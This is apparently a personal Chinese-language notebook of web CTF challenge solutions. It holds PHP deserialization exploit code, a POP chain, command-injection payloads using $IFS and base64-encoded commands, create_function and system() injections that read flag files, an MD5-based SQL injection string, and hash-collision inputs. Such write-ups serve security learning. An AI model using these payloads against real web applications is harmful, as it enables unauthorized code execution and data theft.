一点点做,简单的也不跳了,就当回忆知识了

[SWPUCTF 2021 新生赛]gift_F12

ctrl+u

[SWPUCTF 2021 新生赛]jicao

[SWPUCTF 2021 新生赛]easy_md5

[SWPUCTF 2021 新生赛]easy_sql

[SWPUCTF 2021 新生赛]include

[SWPUCTF 2021 新生赛]easyrce

[SWPUCTF 2021 新生赛]caidao

[SWPUCTF 2021 新生赛]babyrce

[SWPUCTF 2021 新生赛]Do_you_know_http

改ua xff

[SWPUCTF 2021 新生赛]ez_unserialize

访问robots.txt

<?php
class wllm{

    public $admin;
    public $passwd;

    public function __construct(){
        $this->admin ="admin";
        $this->passwd = "ctf";
    }

        public function __destruct(){
        if($this->admin === "admin" && $this->passwd === "ctf"){
            include("flag.php");
            echo $flag;
        }else{
            echo $this->admin;
            echo $this->passwd;
            echo "Just a bit more!";
        }
    }
}

$p = new wllm();
echo serialize($p);
//O:4:"wllm":2:{s:5:"admin";s:5:"admin";s:6:"passwd";s:3:"ctf";}

[SWPUCTF 2021 新生赛]easyupload2.0

传phtml

[SWPUCTF 2021 新生赛]easyupload1.0

改mime

[SWPUCTF 2021 新生赛]no_wakeup

绕过wakeup
低版本php可以让序列化中属性的个数与实际不符来绕过

<?php

class HaHaHa{


        public $admin;
        public $passwd;

        public function __construct(){
            $this->admin ="admin";
            $this->passwd = "wllm";
        }

        public function __wakeup(){
            $this->passwd = sha1($this->passwd);
        }

        public function __destruct(){
            if($this->admin === "admin" && $this->passwd === "wllm"){
                include("flag.php");
                echo $flag;
            }else{
                echo $this->passwd;
                echo "No wake up";
            }
        }
    }

$p = new HaHaHa();
echo serialize($p);

生成的序列化值
O:6:"HaHaHa":2:{s:5:"admin";s:5:"admin";s:6:"passwd";s:4:"wllm";}
手动改完
O:6:"HaHaHa":3:{s:5:"admin";s:5:"admin";s:6:"passwd";s:4:"wllm";}

[suctf 2019]EasySQL

我是做不出来的奥
这种sql语句写的属于是第一次见
exp*,1

[ZJCTF 2019]NiZhuanSiWei

读useless源码

<?php  

class Flag{  //flag.php  
    public $file = 'flag.php';  
    public function __tostring(){  
        if(isset($this->file)){  
            echo file_get_contents($this->file); 
            echo "<br>";
        return ("U R SO CLOSE !///COME ON PLZ");
        }  
    }  
}  
$p = new Flag();
echo serialize($p);

[第五空间 2021]WebFTP

扫目录 存在phpinfo.php

[BJDCTF 2020]easy_md5

这题是学骚操作的

开局一个框,啥都没了

php中md5第二个参数传true会转原始二进制,输入ffifdyop

相当于select * from 'admin' where password=''or'6'
传参后看源码

[SWPUCTF 2021 新生赛]PseudoProtocols

[NISACTF 2022]easyssrf

http://127.0.0.1/flag.php
返回提示/fl4g

[SWPUCTF 2021 新生赛]hardrce

[SWPUCTF 2021 新生赛]error

[SWPUCTF 2021 新生赛]easyupload3.0

[SWPUCTF 2021 新生赛]pop

<?php
class w44m{

    private $admin = 'aaa';
    protected $passwd = '123456';
    public function __construct($admin,$passwd){
        $this->admin = $admin;
        $this->passwd = $passwd;
    }
    public function Getflag(){
        if($this->admin === 'w44m' && $this->passwd ==='08067'){
            include('flag.php');
            echo $flag;
        }else{
            echo $this->admin;
            echo $this->passwd;
            echo 'nono';
        }
    }
}

class w22m{
    public $w00m;
    public function __destruct(){
        echo $this->w00m;
    }
}

class w33m{
    public $w00m;
    public $w22m;
    public function __toString(){
        $this->w00m->{$this->w22m}();
        return 0;
    }
}

$p = new w22m();
$w3 = new w33m();
$p->w00m = $w3;
$w4 = new w44m('w44m','08067');
$w3->w00m = $w4;
$w3->w22m = 'Getflag';
echo urlencode(serialize($p))."\n";

[NCTF 2018]签到题

[SWPUCTF 2021 新生赛]sql

[鹤城杯 2021]EasyP

basename会删除文件开头的非ascii码字符

[GXYCTF 2019]Ping Ping Ping

其它方法
?ip=;ss=g;tac$IFS$9fla$ss.php

;`echo$IFS$9dGFjICo=|base64$IFS$9-d`

[NSSCTF 2022 Spring Recruit]ezgame

[SWPUCTF 2021 新生赛]finalrce

[LitCTF 2023]导弹迷踪

[NISACTF 2022]checkin

存在不可见字符 ,复制粘贴就行

[LitCTF 2023]PHP是世界上最好的语言！！

[LitCTF 2023]我Flag呢？

[鹏城杯 2022]简单包含

读flag.php 有waf 读index.php

[强网杯 2019]随便注

select给ban了 updatexml update 也给ban了
考虑堆叠


这里set 和 prepare也ban了

[LitCTF 2023]1zjs

[NISACTF 2022]level-up

ctrl+u 有disallow 很像robots.txt
访问

array1=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2&array2=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2

array1=%25PDF-1.3%0A%25%E2%E3%CF%D3%0A%0A%0A1%200%20obj%0A%3C%3C/Width%202%200%20R/Height%203%200%20R/Type%204%200%20R/Subtype%205%200%20R/Filter%206%200%20R/ColorSpace%207%200%20R/Length%208%200%20R/BitsPerComponent%208%3E%3E%0Astream%0A%FF%D8%FF%FE%00%24SHA-1%20is%20dead%21%21%21%21%21%85/%EC%09%239u%9C9%B1%A1%C6%3CL%97%E1%FF%FE%01sF%DC%91f%B6%7E%11%8F%02%9A%B6%21%B2V%0F%F9%CAg%CC%A8%C7%F8%5B%A8Ly%03%0C%2B%3D%E2%18%F8m%B3%A9%09%01%D5%DFE%C1O%26%FE%DF%B3%DC8%E9j%C2/%E7%BDr%8F%0EE%BC%E0F%D2%3CW%0F%EB%14%13%98%BBU.%F5%A0%A8%2B%E31%FE%A4%807%B8%B5%D7%1F%0E3.%DF%93%AC5%00%EBM%DC%0D%EC%C1%A8dy%0Cx%2Cv%21V%60%DD0%97%91%D0k%D0%AF%3F%98%CD%A4%BCF%29%B1&array2=%25PDF-1.3%0A%25%E2%E3%CF%D3%0A%0A%0A1%200%20obj%0A%3C%3C/Width%202%200%20R/Height%203%200%20R/Type%204%200%20R/Subtype%205%200%20R/Filter%206%200%20R/ColorSpace%207%200%20R/Length%208%200%20R/BitsPerComponent%208%3E%3E%0Astream%0A%FF%D8%FF%FE%00%24SHA-1%20is%20dead%21%21%21%21%21%85/%EC%09%239u%9C9%B1%A1%C6%3CL%97%E1%FF%FE%01%7FF%DC%93%A6%B6%7E%01%3B%02%9A%AA%1D%B2V%0BE%CAg%D6%88%C7%F8K%8CLy%1F%E0%2B%3D%F6%14%F8m%B1i%09%01%C5kE%C1S%0A%FE%DF%B7%608%E9rr/%E7%ADr%8F%0EI%04%E0F%C20W%0F%E9%D4%13%98%AB%E1.%F5%BC%94%2B%E35B%A4%80-%98%B5%D7%0F%2A3.%C3%7F%AC5%14%E7M%DC%0F%2C%C1%A8t%CD%0Cx0Z%21Vda0%97%89%60k%D0%BF%3F%98%CD%A8%04F%29%A1

这里可以
NI+SA+=txw4ever
NI+SA[=txw4ever
但是
NI[SA+=txw4ever
不行 原因是在使用[替换_后,在[后的字符都不会替换

\create_function&b=}system('cat /f*');?>

[SWPUCTF 2022 新生赛]ez_ez_php

读flag.php知道flag在flag

[LitCTF 2023]Ping

[CISCN 2019华东南]Web11

Smarty ssti

[UUCTF 2022 新生赛]websign

view-source:

[NISACTF 2022]babyupload

过滤了.不知道怎么搞了,回去ctrl+u 给了源码

这里可以直接读flag
传的文件名为/flag在os.path.join的时候因为有/所以path变成/flag

[HUBUCTF 2022 新生赛]checkin

[LitCTF 2023]Follow me and hack me

[GDOUCTF 2023]hate eat snake

开着f12进

Snake.prototype.getScore = function () { return 100 }
我有点不能理解为什么要用原型,没学过js 有空把node学了,应该大同小异
当初做的时候是改的判断条件

node早晚要学,java结束一定学()

[LitCTF 2023]作业管理系统

弱口令 admin admin
文件上传无过滤

[NISACTF 2022]babyserialize

hint说flag在根目录下
试了一下反引号 system shell_exec file_get_contents $_GET[1]之类的 都给ban了
看wp才知道大小写就能绕

O:4:"NISA":2:{s:3:"fun";O:8:"Ilovetxw":2:{s:5:"huang";N;s:2:"su";r:1;}s:8:"txw4ever";s:27:"SyStem('cat /fllllllaaag');";}

[NISACTF 2022]bingdundun~